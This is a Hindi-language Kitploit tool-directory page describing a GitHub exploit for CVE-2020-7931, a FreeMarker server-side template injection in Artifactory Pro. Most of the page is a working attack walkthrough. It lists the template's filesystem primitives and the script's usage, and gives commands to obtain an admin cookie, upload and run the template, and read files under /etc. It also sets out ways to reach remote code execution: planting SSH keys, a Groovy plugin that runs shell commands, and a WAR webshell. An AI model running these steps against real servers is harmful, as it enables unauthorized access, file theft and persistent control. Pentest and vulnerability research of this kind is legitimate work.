Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2020-7931 — सर्वर साइड टेम्पलेट इंजेक्शन के साथ आर्टिफैक्ट्री हैकिंग | Kitploit
उपकरण/GitHubGitHub/gquere/cve-2020-7931
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHubgquere/cve-2020-7931

CVE-2020-7931

सर्वर साइड टेम्पलेट इंजेक्शन के साथ आर्टिफैक्ट्री हैकिंग

रिपॉजिटरी देखें
501526 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2020-7931: Artifactory Pro में SSTI शोषण

CVE-2020-7931 कुछ हद तक Artifactory में एक जानबूझकर गलत कॉन्फ़िगरेशन भेद्यता है जो हमलावरों को FreeMarker टेम्पलेट से सर्वर-साइड टेम्पलेट इंजेक्शन करने देती है।

यह भेद्यता Atredis के Ryan Hanson द्वारा खोजी गई थी और 2019 के अंत में सभी प्रभावित संस्करणों के लिए ठीक कर दी गई थी। यह केवल Artifactory के Pro संस्करणों पर काम करेगी, क्योंकि अन्य संस्करणों में टेम्पलेटिंग क्षमताएँ नहीं हैं।

इस रिपॉजिटरी में एक स्क्रिप्ट और एक टेम्पलेट है।

  • पायथन स्क्रिप्ट टेम्पलेट पेलोड के अपलोड, परिनियोजन और निष्पादन को स्वचालित करने के लिए एक रैपर है।
  • टेम्पलेट कई प्रिमिटिव (पढ़ना, सूची बनाना, लिखना...) लागू करता है जो फाइलसिस्टम से संवाद करते हैं और रिमोट कोड निष्पादन की ओर ले जाते हैं।

टेम्पलेट सामग्री

टेम्पलेट अपनी इच्छित क्रिया निर्धारित करने के लिए पहले GET पैरामीटर को पकड़ता है। मान्य क्रियाएँ हैं:

root@kitploit:~
info                                    Returns info about the current configuration
read <filepath>                         Reads a file, as is
read_bytes <filepath>                   Reads a file binarily as integers
list <dirpath>                          List a directory contents
create_file <filepath>                  Create an empty file
mkdir <dirpath>                         Create a folder
delete <filepath>                       Delete a file or empty folder
move <src> <dst>                        Move a file (*)
copy <scr_path> <src_file> <dst>        Copy a file to the application's web root. Pay attention to the quirky arguments (**)

(*): move विधि Java renameTo विधि का उपयोग करती है जो विभिन्न फाइलसिस्टमों पर काम नहीं करती। विभिन्न फाइलसिस्टमों पर move करने के लिए, पहले copy फिर move का उपयोग करना होता है, अधिक जानकारी नीचे।

(**): स्रोत को आधार पथ और फ़ाइल नाम के बीच विभाजित किया जाना चाहिए; गंतव्य artifactory के वेब एप्लिकेशन रूट पथ के सापेक्ष है, उदा. /opt/jfrog/artifactory/tomcat/webapps/artifactory/

स्क्रिप्ट उपयोग

root@kitploit:~
usage: artifactory_CVE-2020-7931.py [-h] -H HOST [-u USER] [-p PASSWORD]
                                    [-c COOKIE] [-U UPLOAD] [-g]
                                    [-d DROP_TEMPLATE] [-e EXEC_TEMPLATE] [-r]
                                    [-R REPOSITORY_NAME]

optional arguments:
  -h, --help            show this help message and exit
  -H HOST, --host HOST
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -c COOKIE, --cookie COOKIE
  -U UPLOAD, --upload UPLOAD
  -g, --get_cookie
  -d DROP_TEMPLATE, --drop_template DROP_TEMPLATE
  -e EXEC_TEMPLATE, --exec_template EXEC_TEMPLATE
  -r, --reload_plugins
  -R REPOSITORY_NAME, --repository_name REPOSITORY_NAME
                        Default: example-repo-local

कुकी प्राप्त करना और सेट करना

root@kitploit:~
export cookie=$(./artifactory_CVE-2020-7931.py -H http://localhost:8081 -g -u admin -p password | grep '-') && echo $cookie

फ़ाइल अपलोड करना

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -U sample.groovy

टेम्पलेट परिनियोजित करना

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -d sample.xml

टेम्पलेट निष्पादित करना

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml list /etc/
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml read /etc/password

माउंटपॉइंट्स के बीच फ़ाइल कॉपी करना

जैसा कि हमने देखा, renameTo() विभिन्न फाइलसिस्टमों पर काम नहीं करेगा। इसका अनुकरण करने के लिए, पहले फ़ाइल को कॉपी करें फिर इसे मूव करें (इसे तुरंत करें, अन्यथा artifactory क्रैश हो सकता है!):

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml copy /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/ bla /bla (***)
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml move /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla /etc/bla

(***): जैसा कि पहले समझाया गया, यहाँ /bla वास्तव में /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla को संदर्भित करता है क्योंकि root.write() अनिवार्य रूप से वर्तमान एप्लिकेशन के वेब रूट पर लिखेगा।

यह आपको उन कॉन्फ़िगरेशनों का शोषण करने देता है जो आर्टिफैक्ट्स को एक अलग फाइलसिस्टम पर संग्रहीत कर रहे हैं (जो एक अच्छी प्रथा है!)।

रिमोट कोड निष्पादन प्राप्त करना

डिफ़ॉल्ट रूप से artifactory इंस्टॉल के साथ, कक्षाओं को इंस्टेंशिएट करना संभव नहीं है, इस प्रकार regular freemarker.template.utility.Execute ट्रिक काम नहीं करेगी।

फाइलसिस्टम में हेरफेर करके रिमोट कोड निष्पादन प्राप्त करने के कई अन्य तरीके हैं:

  • उपयोगकर्ता की authorized_keys फ़ाइल में एक सार्वजनिक कुंजी जोड़ना, जो कई कारणों से काम नहीं कर सकता (शायद SSH नहीं है, शायद इसमें PubKey प्रमाणीकरण नहीं है, शायद यह उपयोगकर्ता के होम के बजाय /etc/ssh/authorized_keys में देखने के लिए कॉन्फ़िगर किया गया है ...)
  • groovy प्लगइन निष्पादित करना
  • एक Tomcat सर्वलेट शुरू करना जो एक वेबशेल लागू करता है

groovy प्लगइन निष्पादित करना

यहाँ एक groovy प्लगइन का उदाहरण है जो शेल निष्पादन करता है, अधिक विस्तृत उदाहरण यहाँ:

root@kitploit:~
def proc = "ls -la /etc".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

प्लगइन्स को प्लगइन पथ /var/opt/jfrog/artifactory/etc/plugins/ में रखा जाना चाहिए और एक API कॉल का उपयोग करके पुनः लोड किया जाना चाहिए जिसके लिए Artifactory व्यवस्थापक विशेषाधिकारों की आवश्यकता होती है:

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -r

Tomcat सर्वलेट शुरू करना (.war फ़ाइल परिनियोजित करना)

यहाँ एक Tomcat सर्वलेट है जो एक वेबशेल लागू करता है।

WAR फ़ाइलों को Tomcat webapps पथ /opt/jfrog/artifactory/tomcat/webapps/ में रखा जाना चाहिए। डिफ़ॉल्ट रूप से, WAR फ़ाइलों का परिनियोजन स्वचालित है और Artifactory इंस्टेंस के बगल में एक और वेब एप्लिकेशन शुरू करेगा, उदा. http://localhost:8081/sample/ पर।

यह पसंदीदा तरीका है क्योंकि इसमें Artifactory व्यवस्थापक विशेषाधिकारों की आवश्यकता नहीं है और कमांड को तुरंत निष्पादित करना सरल है।

टूल डाउनलोड करें